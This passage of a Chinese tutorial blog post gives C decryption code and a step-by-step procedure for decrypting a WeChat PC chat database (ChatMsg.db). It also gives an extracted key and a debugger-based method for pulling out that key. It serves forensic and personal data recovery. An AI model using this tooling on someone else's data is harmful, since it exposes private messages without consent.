rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nTotal</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nDecryptLen</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_CipherFinal_ex</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ectx</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDecryptPerPageBuffer</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nDecryptLen</span>, <span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">nDecryptLen</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nTotal</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nDecryptLen</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">EVP_CIPHER_CTX_free</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ectx</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">memcpy</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDecryptPerPageBuffer</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pTemp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">reserve</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">decFile</span>[<span style="box-sizing: border-box;color: rgb(17, 102, 68);">1024</span>] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> };</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">sprintf_s</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">decFile</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;dec_%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">dbfilename</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">FILE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fp</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fopen_s</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">fp</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">decFile</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;ab+&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fwrite</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">pDecryptPerPageBuffer</span>, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fp</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fclose</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">fp</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">nPage</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">++</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">offset</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pTemp</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DEFAULT_PAGESIZE</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">printf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;\n 解密成功! \n&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">替换</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">pass[]</code></span><span style="box-sizing: border-box;"> 的值为第一步获取的 密码：(转换成0x格式的密码值)</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="c++"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//pc端密码是经过OllyDbg得到的32位pass。</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 136, 85);">unsigned</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">char</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pass</span>[] <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> {}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//本文获取的密码为：</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x71</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x1A</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x1F</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xFA</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x27</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xE6</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x41</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xD9</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xAB</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x8E</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x8D</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xC0</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xF1</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x8A</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xF9</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x66</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x76</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x11</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x6F</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xEF</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x95</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x30</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x48</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x91</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xB3</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x9B</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x40</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x9B</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x57</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0xB1</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x35</span>,<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x00</span>}</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">替换好后将代码复制到刚才在visual studio创建的 </span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">dewechatdb.cpp</code></span><span style="box-sizing: border-box;"> 中（删除默认生成的hello world代码）：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4926913155631986" data-s="300,640" style="" data-type="png" data-w="1163" src="https://wechat2rss.xlab.app/img-proxy/?k=70dc5560&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmHUxnIdqicC1ccUn4oCt9FF9SVnQiabORa6DYh4PWDticoCmIbic7AvRmAA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">点击“本地windows调试器”（或者按F5键），如果前面的步骤操作都正确，应该可以完成编译并自动运行，弹出一个命令行窗口，提示需要输入文件名则为成功：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.1366197183098592" data-s="300,640" style="" data-type="png" data-w="710" src="https://wechat2rss.xlab.app/img-proxy/?k=9ae4833e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmeJ2TG1ZKX64JADrxxNwzibCVVibgIDNp9n0C6wRPDUj5Qs6pHgzWbD9w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">编译成功，生成了 </span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">D:\wwwcode\c\dewechatdb\Debug\dewechatdb.exe</code></span><span style="box-sizing: border-box;">  文件，将dewechatdb.exe 复制到微信的数据库文件夹中，</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3466666666666667" data-s="300,640" style="" data-type="png" data-w="450" src="https://wechat2rss.xlab.app/img-proxy/?k=73e3e43c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmuoaZVr8bVfiad70U67xwzBJmRMEF9xy7icbpbzkHpticHhsvOicpibMzsvA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">默认安装微信的文件夹路径为：</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">C:\Users\Administrator\Documents\WeChat Files\********\Msg</code></span><span style="box-sizing: border-box;"> ，</span><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">如果找不到路径可以在微信</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">设置</code></span><span style="box-sizing: border-box;">--&gt; </span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">文件管理</code></span><span style="box-sizing: border-box;"> 中找到，可以使用</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">打开文件夹</code></span><span style="box-sizing: border-box;"> 按钮直接打开：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5805084745762712" data-s="300,640" style="" data-type="png" data-w="708" src="https://wechat2rss.xlab.app/img-proxy/?k=8351454f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmOaQQgliaUesFgaBUejxwE93opHvbwtzhojJKo4n9tjpGqrYqHI2ugYQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6285072951739619" data-s="300,640" style="" data-type="png" data-w="891" src="https://wechat2rss.xlab.app/img-proxy/?k=7106becd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmnkNxrE7lFrzKjUDnvYY6HVyQ4HncibKMjyia32Fj7J4MfkoWNNTibvMQg%2F640%3Fwx_fmt%3Dpng"/></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="cmd"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">//</span><span style="box-sizing: border-box;color: red;">使用：</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">dewechatdb</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">exe</span> <span style="box-sizing: border-box;color: red;">数据库名</span></span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">解密 </span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">ChatMsg.db</code></span><span style="box-sizing: border-box;"> 这个库：</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="cmd"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">dewechatdb</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">exe</span> <span style="box-sizing: border-box;">ChatMsg</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">db</span></span></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.507936507936508" data-s="300,640" style="" data-type="png" data-w="378" src="https://wechat2rss.xlab.app/img-proxy/?k=cb472cc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmZ99Ug64TvcfhBMatqRj0Qz02QRtBOKVIEbNKA3G9sZwVU0SQDwnHGw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">解密成功后会生成 </span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">dec_ChatMsg.db</code></span><span style="box-sizing: border-box;"> 文件，即为解密后的数据库文件，使用 </span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">DB Browser for SQLite</code></span><span style="box-sizing: border-box;"> 工具打开即可查看内容：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8854961832061069" data-s="300,640" style="" data-type="png" data-w="393" src="https://wechat2rss.xlab.app/img-proxy/?k=d7a4761c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmZ37Gum4NE76EhDmCB90qOB2xFmmticc2QkM3ZLVf9KSHtCVzbRQTNQA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">解密后的数据（微信聊天记录）：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4323104693140794" data-s="300,640" style="" data-type="png" data-w="1108" src="https://wechat2rss.xlab.app/img-proxy/?k=4a12367f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmOf058MZWpl3ya0qaNcOXF6l0mh0sMdUTFiaCRK8CpvOHQm66GxJ7Pjg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">到此解密完成。</span><br/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">4、常见问题汇总（踩坑记录）</span></h3><blockquote style="box-sizing: border-box;margin: 0.8em 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.8em;white-space: pre-wrap;"><span style="box-sizing: border-box;">Q1：为什么我下载的openssl里面没有lib目录，而且include内为空？</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;">A1: openssl 下载后需要编译（win安装的openssl 会出现位置错误），才会有lib目录 和include里面的内容，本文已打包include和lib文件夹。</span></p></blockquote><blockquote style="box-sizing: border-box;margin: 0.8em 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.8em;white-space: pre-wrap;"><span style="box-sizing: border-box;">Q2: 设置断点之后微信就显示无法获取二维码或者无法登陆？</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;">A2：OD 